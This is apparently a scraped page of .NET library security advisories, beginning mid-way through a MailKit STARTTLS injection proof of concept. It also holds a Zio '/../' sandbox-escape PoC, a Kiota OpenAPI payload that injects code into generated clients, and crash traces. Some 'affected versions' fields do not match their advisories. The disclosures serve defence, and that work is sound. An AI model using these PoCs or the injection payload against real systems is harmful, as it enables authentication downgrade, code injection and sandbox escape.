SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n"); Thread.Sleep(2000); }); using var client = new SmtpClient(); client.ServerCertificateValidationCallback = (a, b, c, d) => true; client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls); Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}"); // OUTPUT: "Auth mechanisms: PLAIN, LOGIN" // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED client.Disconnect(false); listener.Stop(); } static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); } static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); } static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); } static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); } } ``` **Result against MailKit 4.12.0:** ``` Auth mechanisms: PLAIN, LOGIN (Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved) ``` ### Impact Any application using MailKit with `SecureSocketOptions.StartTls` or `StartTlsWhenAvailable` (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

الإصدارات المتأثرة

All versions < 0.1.0, 0.10.0, 0.11.0, 0.12.0, 0.13.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

المراجع

الوصف الكامل

### Summary > [!IMPORTANT] > There is no plan to fix this issue as `OpenTelemetry.Exporter.Jaeger` was deprecated in 2023. It is for informational purposes only. `OpenTelemetry.Exporter.Jaeger` may allow sustained memory pressure when the internal pooled-list sizing grows based on a large observed span/tag set and that enlarged size is reused for subsequent allocations. Under high-cardinality or attacker-influenced telemetry input, this can increase memory consumption and potentially cause denial of service. ### Details The Jaeger exporter conversion path can append tag/event data into pooled list structures. In affected versions, pooled allocation sizing may be influenced by large observed payloads and reused globally across later allocations, resulting in persistent oversized rentals and elevated memory pressure. In environments where telemetry attributes/events can be influenced by untrusted input and limits are increased from defaults, this may lead to process instability or denial of service. ### Impact Availability impact only. Confidentiality and integrity impacts are not expected. ### Workarounds / Mitigations * Prefer maintained exporters (for example OpenTelemetry Protocol format (OTLP)) instead of the Jaeger exporter.

الإصدارات المتأثرة

<= 1.6.0-rc.1

نوع الثغرة

CWE-400 — DoS

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

# Summary `SubFileSystem` fails to confine operations to its declared sub path when the input path is `/../` (or equivalents `/../`, `/..\\`). This path passes all validation but resolves to the root of the parent filesystem, allowing directory level operations outside the intended boundary. # Affected Component `Zio.UPath.ValidateAndNormalize` `Zio.FileSystems.SubFileSystem` `UPath.ValidateAndNormalize` has a trailing slash optimisation. ```csharp if (!processParts && i + 1 == path.Length) return path.Substring(0, path.Length - 1); ``` When the input ends with `/` or `\`, and `processParts` is still false, the function strips the trailing separator and returns immediately before the `..` resolution logic runs. The input `/../` triggers this path: the trailing `/` is the last character, `processParts` has not been set (because `..` as the first relative segment after root is specifically exempted), so the function returns `/..` with the `..` segment unresolved. The resulting `UPath` with `FullName = "/.."` is absolute, contains no control characters, and no colon so it passes `FileSystem.ValidatePath` without rejection. When this path reaches `SubFileSystem.ConvertPathToDelegate`: ```csharp protected override UPath ConvertPathToDelegate(UPath path) { var safePath = path.ToRelative(); // "/..".ToRelative() = ".." return SubPath / safePath; // "/jail" / ".." = "/" (resolved by Combine) } ``` The delegate filesystem receives `/` (the root) instead of a path under `/jail`. # Proof of Concept ```csharp using Zio; using Zio.FileSystems; var root = new MemoryFileSystem(); root.CreateDirectory("/sandbox"); var sub = new SubFileSystem(root, "/sandbox"); Console.WriteLine(sub.DirectoryExists("/../")); // True (sees parent root) Console.WriteLine(sub.ConvertPathToInternal("/../")); // "/" (parent root path) ``` # Impact The escape is limited to directory level operations because appending a filename after `..` (e.g., `/../file.txt`) causes normal `..` resolution to trigger, which correctly rejects the path as going above root. Only the bare terminal `/../` (which strips to `/..`) survives. This means that exploitability is limited, and this vulnerability does not escalate to file read/write.

الإصدارات المتأثرة

All versions < 0.1.0, 0.10.0, 0.11.0, 0.12.0, 0.13.0

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

المراجع

الوصف الكامل

## Summary Meridian v2.1.0 (`Meridian.Mapping` and `Meridian.Mediator`) shipped with nine defense-in-depth gaps reachable through its public APIs. Two are HIGH severity — the advertised `DefaultMaxCollectionItems` and `DefaultMaxDepth` safety caps are silently bypassed on the `IMapper.Map(source, destination)` overload and anywhere `.UseDestinationValue()` is configured on a collection-typed property. Four are MEDIUM (constructor invariant bypass, OpenTelemetry stack-trace info disclosure, retry amplification, notification fan-out amplification). Three are LOW (exception message disclosure, dictionary duplicate-key echo, static mediator cache growth under closed-generic types). All nine are patched in **v2.1.1**. Upgrade is a drop-in NuGet bump; see the v2.1.1 CHANGELOG for the four behavioural changes (constructor selection, OTel default, publisher fan-out cap, retry caps). ## Severity Matrix | # | Severity | CWE | Finding | Fix | |---|---|---|---|---| | 1 | **HIGH** | CWE-770 | `MappingEngine.TryMapCollectionOntoExisting` enumerated the source without enforcing `DefaultMaxCollectionItems`. Reachable via `Mapper.Map<TSrc,TDst>(src, dst)` and any `.ForMember(..., o => o.UseDestinationValue())` on a collection member through a plain `Map(src)` call. | Shared cap enforcement helper between `MapCollection` and `TryMapCollectionOntoExisting`. | | 2 | **HIGH** | CWE-674 | Collection-item recursion in the existing-destination path did not increment `ResolutionContext.Depth`, so self-referential collection graphs could reach stack overflow before `DefaultMaxDepth` fired. | Depth increments at every collection-item boundary. | | 3 | MEDIUM | CWE-665 | `ObjectCreator.CreateWithConstructorMapping` always invoked the widest public constructor, silently filling unresolved parameters with `default(T)` and bypassing narrower-ctor invariants. | Widest-ctor selection now requires every parameter to be bound via explicit ctor mapping, source-name match, or a C# optional default. | | 4 | MEDIUM | CWE-532 | `Mediator.MarkActivityFailure` emitted the full `ex.ToString()` (stack + inner chain) to the OpenTelemetry `exception.stacktrace` activity tag by default, leaking context to any shared trace sink. | Gated on `MediatorTelemetryOptions.RecordExceptionStackTrace` — opt-in, default `false`. | | 5 | MEDIUM | CWE-400 | `RetryBehavior` retried every exception type with unbounded `MaxRetries`; the exponential-backoff delay overflowed `TimeSpan` at ~30 attempts. No cancellation exclusion. | Server-side `MaxRetriesCap = 10`, `MaxBackoff = 5 min`, `OperationCanceledException` short-circuit, recommended `RetryPolicy.TransientOnly` helper. | | 6 | MEDIUM | CWE-400 | `TaskWhenAllPublisher` started every registered handler concurrently with no bound on fan-out. | New constructor parameter `maxDegreeOfParallelism` (default 16; `-1` restores legacy unbounded). | | 7 | LOW | CWE-209 | Public mapping exceptions leaked `FullName` of source/destination types and concatenated inner exception messages into top-level property-mapping errors. | Scrubbed to type `Name`; inner details only via `InnerException` chain. | | 8 | LOW | CWE-209 | Dictionary materialization threw `ArgumentException` on duplicate keys, echoing the attacker-supplied key's `.ToString()`. | Last-write-wins indexer semantics. | | 9 | LOW | CWE-1325 | Static mediator handler caches grow monotonically under closed-generic request types. **Doc-only mitigation**; no code change — consumers must not allow attacker-controlled runtime type materialization to reach `Send`, `Publish`, or `CreateStream`. | Documented in `docs/security-model.md`. | ## Exploitation **Finding 1 / 2 (headline):** A consumer that maps user-supplied collection payloads onto an existing destination list via `mapper.Map(userCollection, existingList)` — a documented and commonly used AutoMapper-style idiom — processes the full attacker-supplied collection with no size cap and no depth cap. An attacker sending a single request with a large (or self-referential) collection payload can block the worker thread for seconds and exhaust the managed heap or the call stack. Equivalent exposure through `.UseDestinationValue()` on a collection-typed destination member, reachable via a plain `Map(src)` call whose destination type default-initializes that member. **Finding 3:** A destination type with multiple public constructors that differ only in their parameter-binding invariants (e.g., `new UserAccount(string name, Email email)` enforcing a non-default `Email`) could be instantiated with the narrower ctor's invariants silently bypassed if any source field was absent — the widest ctor was always picked, with unbound parameters replaced by `default(T)`. **Findings 4 / 5 / 6:** Amplification / information-disclosure vectors described in the matrix above. Each requires moderate integration context (telemetry sink trust, handler count, retry policy) to weaponize, but each is reachable through public APIs without authentication. ## Patches - `Meridian.Mapping` **2.1.1** (published 2026-04-16) - `Meridian.Mediator` **2.1.1** (published 2026-04-16) Verified via: - GitHub Release assets at <https://github.com/UmutKorkmaz/meridian/releases/tag/v2.1.1> - Sigstore attestation (`actions/attest-build-provenance@v2` → `gh attestation verify` green on both `.nupkg` from the GitHub Release) - NuGet.org indexed both packages within the release workflow run ## Workarounds Users who cannot upgrade immediately may: 1. Avoid `mapper.Map(src, dst)` and `.UseDestinationValue()` on collection-typed destination members. 2. Wrap input collection deserialization with an explicit size limit before handing the payload to Meridian. 3. Register `TaskWhenAllPublisher` with `maxDegreeOfParallelism` ≤ 16 manually (v2.1.1+ only). 4. Disable OpenTelemetry `exception.stacktrace` tag emission at the trace exporter level if your trace sink is less trusted than your application. These are defense-in-depth; the only complete mitigation is upgrading to 2.1.1. ## Supported Versions As of this advisory the supported security branch is **2.1.x**. The 2.0.x line (published 2026-04-15) is not receiving the Phase 1 safety-defaults infrastructure needed to carry the HIGH-severity fixes, so 2.0.x is deprecated in favor of 2.1.x. See `SECURITY.md` for the updated supported-versions table. ## Credits - UmutKorkmaz (reporter and maintainer) ## References - v2.1.1 CHANGELOG section: <https://github.com/UmutKorkmaz/meridian/blob/main/CHANGELOG.md#211---2026-04-16> - `docs/security-model.md` threat model: <https://github.com/UmutKorkmaz/meridian/blob/main/docs/security-model.md> - `SECURITY.md` disclosure policy: <https://github.com/UmutKorkmaz/meridian/blob/main/SECURITY.md> - AutoMapper CVE-2026-32933 (motivating precedent for Meridian's safety-defaults)

الإصدارات المتأثرة

2.1.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

### Impact Hot Chocolate's `Utf8GraphQLParser` is a recursive descent parser with no recursion depth limit. A crafted GraphQL document with deeply nested selection sets, object values, list values, or list types can trigger a `StackOverflowException` on payloads as small as **40 KB**. Because `StackOverflowException` is **uncatchable in .NET** (since .NET 2.0), the entire worker process is terminated immediately. All in-flight HTTP requests, background `IHostedService` tasks, and open WebSocket subscriptions on that worker are dropped. The orchestrator (Kubernetes, IIS, etc.) must restart the process. This occurs **before any validation rules run** — `MaxExecutionDepth`, complexity analyzers, persisted query allow-lists, and custom `IDocumentValidatorRule` implementations cannot intercept the crash because `Utf8GraphQLParser.Parse` is invoked before validation. The existing `MaxAllowedFields=2048` limit does not help because the crashing payloads contain very few fields. **Severity:** Critical (9.1) — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H` ### Patches - **v12 line:** Fixed in `12.22.7` - **v13 line:** Fixed in `13.9.16` - **v14 line:** Fixed in `14.3.1` - **v15 line:** Fixed in `15.1.14` The fix adds a `MaxAllowedRecursionDepth` option to `ParserOptions` with a safe default, and enforces it across all recursive parser methods (`ParseSelectionSet`, `ParseValueLiteral`, `ParseObject`, `ParseList`, `ParseTypeReference`, etc.). When the limit is exceeded, a catchable `SyntaxException` is thrown instead of overflowing the stack. ### Workarounds There is no application-level workaround. `StackOverflowException` cannot be caught in .NET. The only mitigation is to upgrade to a patched version. Operators can reduce (but not eliminate) risk by limiting HTTP request body size at the reverse proxy or load balancer layer, though the smallest crashing payload (40 KB) is well below most default body size limits and is highly compressible (~few hundred bytes via gzip). ### References - Fix for v15: https://github.com/ChilliCream/graphql-platform/pull/9528

الإصدارات المتأثرة

< 12.22.7, >= 13.0.0, < 13.9.16, >= 14.0.0, < 14.3.1, >= 15.0.0, < 15.1.14

نوع الثغرة

CWE-674 — CWE-674

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

المراجع

الوصف الكامل

### Summary Improper input validation in Microsoft QUIC allows an unauthorized attacker to elevate privileges over a network. ### Details Improper Input Validation Integer Underflow (Wrap or Wraparound) when decoding ACK frame. #### Patches - Fix underflow in ACK frame parsing - 1e6e999b ### Impact An attacker who successfully exploited this vulnerability could gain elevated privileges. ### MSRC CVE Info https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32179

الإصدارات المتأثرة

>= 2.5.0-ci.532574, < 2.5.7, >= 2.5.0-ci.532574, < 2.5.7, < 2.4.18, < 2.4.18

نوع الثغرة

CWE-191 — CWE-191

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

### Impact This update adds validation of the package ID and version during package download, in addition to the existing package signature validation. ### Patches #### NuGet The following NuGet.exe, NuGet.CommandLine, NuGet.Packaging, and NuGet.Protocol versions have been patched: |Affected versions|Patched version| |--|--| |>= 4.9.0, <= 4.9.6|4.9.7| |>= 5.11.0, <= 5.11.6|5.11.7| |>= 6.8.0, <= 6.8.1|6.8.2| |>= 6.11.0, <= 6.11.1|6.11.2| |>= 6.12.0, <= 6.12.4|6.12.5| |>= 6.14.0, <= 6.14.2|6.14.3| |>= 7.0.0, <= 7.0.2|7.0.3| |7.3.0|7.3.1| #### .NET SDK * .NET 8.0.126 SDK * .NET 8.0.420 SDK * .NET 9.0.116 SDK * .NET 9.0.313 SDK * .NET 10.0.106 SDK * .NET 10.0.202 SDK ### Workarounds N/A ### References https://github.com/NuGet/NuGetGallery/security/advisories/GHSA-9r3h-v4hx-rhfr ### Credit [splitline](https://x.com/_splitline_) with [DEVCORE](https://devco.re/)

الإصدارات المتأثرة

4.9.0 → 4.9.7

المراجع

الوصف الكامل

# Code Generation Literal Injection in Kiota ## Summary Kiota versions **prior to 1.31.1** are affected by a code-generation literal injection vulnerability in multiple writer sinks (for example: serialization/deserialization keys, path/query parameter mappings, URL template metadata, enum/property metadata, and default value emission). When malicious values from an OpenAPI description are emitted into generated source without context-appropriate escaping, an attacker can break out of string literals and inject additional code into generated clients. ## Impact and Preconditions This issue is only practically exploitable when: 1. the OpenAPI description used for generation is from an **untrusted source**, or 2. a normally trusted OpenAPI description has been **compromised/tampered with**. If you only generate from trusted, integrity-protected API descriptions, risk is significantly reduced. ## Affected Versions - **Affected:** all versions **< 1.31.1** - **Fixed:** **1.31.1** and later ## Illustrative Exploit Example ### Example OpenAPI fragment (malicious default value) ```yaml openapi: 3.0.1 info: title: Exploit Demo version: 1.0.0 components: schemas: User: type: object properties: displayName: type: string default: "\"; throw new System.Exception(\"injected\"); //" ``` ### Example generated C# snippet before fix (illustrative) ```csharp public User() { DisplayName = ""; throw new System.Exception("injected"); //"; } ``` The injected payload escapes the intended string context and introduces attacker-controlled statements in generated code. > Note: this exploit is not limited to default values, but may also impact properties names (serialization), path or query parameters, enum representations and other locations. ## Remediation 1. Upgrade Kiota to **1.31.1 or later**. 2. Regenerate/refresh existing generated clients as a precaution: ```bash kiota update ``` Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output. ## Acknowledgement We would like to thank the researcher Thanatos Tian (Polyu) for finding this issue and for his contribution to this open source project.

الإصدارات المتأثرة

All versions < 0.1.0

CVSS Vector

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

المراجع

الوصف الكامل

The codebase raises code analysis warnings related to security, including CA3075, CA5366, CA5371, CA5368, CA5369, CA5372, CA5379, CA5350, and CA5351. Most of these deal with disabling DTD processing in XML documents, but also includes cryptographic algorithm choices.

الإصدارات المتأثرة

10.0.0, 10.0.1, 10.1.0, 10.1.1, 10.1.2

المراجع

الوصف الكامل

When the PNG encoder fails to write an MNG image it can leak memory.

الإصدارات المتأثرة

10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

المراجع

الوصف الكامل

When the `connected-components:*` define specifies an invalid index and out of bound operation will result in an access violation.

الإصدارات المتأثرة

10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

المراجع

الوصف الكامل

An unrecognized magnify:method will result in an out of bounds read in the magnify operation. ``` ==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61a000000b30 READ of size 4 at 0x61a000000b30 thread T0 ```

الإصدارات المتأثرة

10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

المراجع

الوصف الكامل

The patch for GHSA-7h7q-j33q-hvpf was incomplete and still allows a stack buffer overflow for the multi frame images.

الإصدارات المتأثرة

10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H

المراجع

الوصف الكامل

An incorrect morphology would allow an out of bounds read of a single pixel. ``` ==1200284==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5100000002d0 at pc 0x59e28e60c27a bp 0x7fff047fd8e0 sp 0x7fff047fd8d0 READ of size 4 at 0x5100000002d0 thread T0 ```

الإصدارات المتأثرة

10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

المراجع

الوصف الكامل

The FTXT encoder lacks a boundary check when parsing `ftxt:format`, resulting in an out of bounds read. ``` ==3040863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000085b2 at pc 0x606c1ee0c6ce bp 0x7ffee30d6150 sp 0x7ffee30d6148 READ of size 1 at 0x5020000085b2 thread T0 ```

الإصدارات المتأثرة

10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

المراجع

الوصف الكامل

## Executive Summary: Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. A vulnerability exists in EncryptedXml class where an attacker can cause an infinite loop and perform a Denial of Service attack. ## Announcement Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/12345 ## CVSS Details - **Version:** 3.1 - **Severity:** High - **Score:** 7.5 - **Vector:** 7.5 CVSS: 3.1AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C - **Weakness:** CWE-835 CWE-400 CWE-20: Loop with Unreachable Exit Condition ('Infinite Loop') Uncontrolled Resource Consumption Improper Input Validation ## Affected Platforms - **Platforms:** All - **Architectures:** All ## <a name="affected-packages"></a>Affected Packages The vulnerability affects any Microsoft .NET project if it uses any of affected packages versions listed below ### <a name=".NET 10"></a>.NET 10 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >=10.0.0, <=10.0.5 | 10.0.6 ### <a name=".NET 9"></a>.NET 9 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >=9.0.0, <=9.0.14 | 9.0.15 ### <a name=".NET 8"></a>.NET 8 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >=8.0.0, <=8.0.2 | 8.0.3 ## Advisory FAQ ### <a name="how-affected"></a>How do I know if I am affected? If using a package listed in [affected packages](#affected-packages), you're exposed to the vulnerability. ### <a name="how-fix"></a>How do I fix the issue? To update the Using the System.Security.Cryptography.xml NuGet package, use one of the following methods: NuGet Package Manager UI in Visual Studio: - Open your project in Visual Studio. - Right-click on your project in Solution Explorer and select "Manage NuGet Packages..." or navigate to "Project > Manage NuGet Packages". - In the NuGet Package Manager window, select the "Updates" tab. This tab lists packages with available updates from your configured package sources. - Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version. - Click the "Update" button. Using the NuGet Package Manager Console in Visual Studio: - Open your project in Visual Studio. - Navigate to "Tools > NuGet Package Manager > Package Manager Console". - To update a specific package to its latest version, use the following Update-Package command: ```Update-Package -Id System.Security.Cryptography.xml``` Using the .NET CLI (Command Line Interface): - Open a terminal or command prompt in your project's directory. - To update a specific package to its latest version, use the following add package command: ```dotnet add package System.Security.Cryptography.xml``` Once you have updated the nuget package reference you must recompile and deploy your application. Additionally we recommend you update your runtime and/or SDKs, but it is not necessary to patch the vulnerability. ## Other Information ### Reporting Security Issues If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue). Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty. ### Support You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue. ### Disclaimer The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ### External Links [CVE-2026-33116]( https://www.cve.org/CVERecord?id=CVE-2026-33116) ### Acknowledgements Ludvig Pedersen ### Revisions V1.0 (April 14, 2026): Advisory published.

الإصدارات المتأثرة

>= 10.0.0, <= 10.0.5, >= 9.0.0, <= 9.0.14, >= 8.0.0, <= 8.0.2

نوع الثغرة

CWE-20 — Input Validation

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

## Executive Summary: Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 8.0, .NET 9.0, and .NET 10.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. A vulnerability exists in System.Net.Mail where specially crafted data allows an unauthorized attacker to perform a spoofing attack over the network. ## Announcement Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/12345 ## CVSS Details - **Version:** 3.1 - **Severity:** High - **Score:** 7.5 - **Vector:** 7.5: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:U/RL:O/RC:C - **Weakness:** CWE-138: Improper Neutralization of Special Elements ## Affected Platforms - **Platforms:** All - **Architectures:** All ## <a name="affected-packages"></a>Affected Packages The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below ### <a name=".NET 8"></a>.NET 8 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | >= 8.0.0, <= 8.0.25 | 8.0.26 [Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | >= 8.0.0, <= 8.0.25 | 8.0.26 ### <a name=".NET 9"></a>.NET 9 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | >= 9.0.0, <= 9.0.14 | 9.0.15 [Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | >= 9.0.0, <= 9.0.14 | 9.0.15 ### <a name=".NET 10"></a>.NET 10 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 10.0.0, <= 10.0.5 | 10.0.6 [Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 10.0.0, <= 10.0.5 | 10.0.6 [Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 10.0.0, <= 10.0.5 | 10.0.6 [Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 10.0.0, <= 10.0.5 | 10.0.6 [Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 10.0.0, <= 10.0.5 | 10.0.6 [Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 10.0.0, <= 10.0.5 | 10.0.6 [Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 10.0.0, <= 10.0.5 | 10.0.6 [Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 10.0.0, <= 10.0.5 | 10.0.6 [Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | >= 10.0.0, <= 10.0.5 | 10.0.6 [Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | >= 10.0.0, <= 10.0.5 | 10.0.6 